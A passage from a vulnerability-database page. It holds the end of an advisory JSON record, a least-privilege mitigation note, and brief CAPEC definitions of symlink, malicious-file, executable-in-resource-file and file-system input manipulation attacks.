"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0539"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.